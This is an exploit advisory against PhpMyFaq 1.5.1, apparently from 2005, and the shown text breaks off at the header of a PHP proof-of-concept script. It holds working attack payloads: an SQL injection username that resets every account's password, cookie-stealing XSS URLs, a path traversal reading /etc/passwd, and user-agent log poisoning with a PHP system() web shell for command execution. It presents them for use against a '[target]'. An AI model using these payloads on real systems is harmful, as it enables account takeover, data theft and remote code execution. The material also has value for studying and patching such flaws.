2.31 23/09/2005 PhpMyFaq 1.5.1 SQL injection / board takeover / user info disclosure / path disclosure remote code / commands execution software: site: http://www.phpmyfaq.de/ description: "phpMyFAQ is a multilingual, completely database-driven FAQ-system. It supports various databases to store all data, PHP 4.1.0 (or higher) is needed in order to access this data. phpMyFAQ also offers a multi-language Content Management-System with a WYSIWYG editor and an Image Manager, flexible multi-user support with LDAP support, a news-system, user-tracking, language modules, enhanced automatic content negotiation, templates, extensive XML-support, PDF-support, a backup-system, a dynamic sitempa and an easy to use installation script." vulnerabilities: 1) if magic quotes off -> SQL injection: just take a look at vulnerable code in /admin/password.php: ... $username = $_POST["username"]; $email = $_POST["email"]; $num = $db->num_rows($db->query("SELECT name, email FROM ".SQLPREFIX."faquser WHERE name = '".$username."' AND email = '".$email."'")); if ($num == 1) { $consonants = array("b","c","d","f","g","h","j","k","l","m","n","p","r","s","t","v","w","x","y","z"); $vowels = array("a","e","i","o","u"); $newPassword = ""; srand((double)microtime()*1000000); for ($i = 1; $i <= 4; $i++) { $newPassword .= $consonants[rand(0,19)]; $newPassword .= $vowels[rand(0,4)]; } $db->query("UPDATE ".SQLPREFIX."faquser SET pass = '".md5($newPassword)."' WHERE name = '".$username."' AND email = '".$email."'"); $text = $PMF_LANG["lostpwd_text_1"]."\nUsername: ".$username."\nNew Password: ".$newPassword."\n\n".$PMF_LANG["lostpwd_text_2"]; mail($IDN->encode($email), $PMF_CONF["title"].": username / password request", $text, "From: ".$IDN->encode($PMF_CONF["adminmail"])); ... switch to /admin directory, click on "forgotten password" feature and without to have an account you can reset admin password and send yourself it by email, example: user: ' or isnull(1/0) /* mail: [your_email] the two queries become: SELECT name, email FROM phpmyfaq_faquser WHERE name = '' or isnull(1/0) /*' AND email = '[your_email]' and UPDATE phpmyfaq_faquser SET pass = '[password_hash]' WHERE name = '' or isnull(1/0) /*' AND email = '[your_email]' (so all accounts have the same new password... not only admin one) [your_email] , now is passed to mail() funxtion you will soon receive a mail like this: "Thank you for requesting your account information. Username: ' or isnull(1/0) /* New Password: relicuxe Please set a new personal password in the admin section of your FAQ." now you can login, backup database, add/delete news, records, ban ip and execute commands on target system by inserting php code in news, system calls, etc. 2) cross site scripting: http://[target]/[path]/phpmyfaq/admin/footer.php?PMF_CONF[version]=<script>alert(document.cookie)</script> http://[target]/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert(document.cookie)</script> 3) arbitrary inclusion (on Windows): if magic_quotes_gpc off in php.ini settings you can see ANY file on target system: http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../../../etc/passwd%00 4) if magic_quotes both on and off you can include an arbitrary php file on the target machine: http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../[scriptname] [scriptname] without '.php' extension 5) user info disclosure: http://[target]/[path]/phpmyfaq/data/tracking[date] where [date] is today date, example: 22092005 you will see the log file... 6) path disclosure: http://[target]/[path]/phpmyfaq/index.php?LANGCODE=[a_non_existent_file] 7) you can insert php code in a User Agent field request packet, example: <?php system($HTTP_GET_VARS[cmd]) ?> and, if magic_quotes is off, you can include log file to execute shell commands (this on Windows) http://[target]/[path]/phpmyfaq/index.php?cmd=ls%20-la&LANGCODE=/../../data/tracking[date]%00 this is my proof of concept exploit (it works against Windows servers, so it's only a divertisement but OK, we are admin, remember? ;) ...): <?php # 17.34 22/09/2005 # # # # phpmyfaq_xpl.php # # # # PhpMyFaq 1.5.1 ( possibly prior versions) shell inject # # # # by rgod # # site: http://rgod.altervista.org # # # # make these changes in your php.ini if you have troubles # # to launch this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # usage: launch this script from Apache, fill requested fields, then # # if magic_quotes_gpc is off, boom! you launch commands... # # # # Sun-tzu: "When in difficult country, do not encamp.
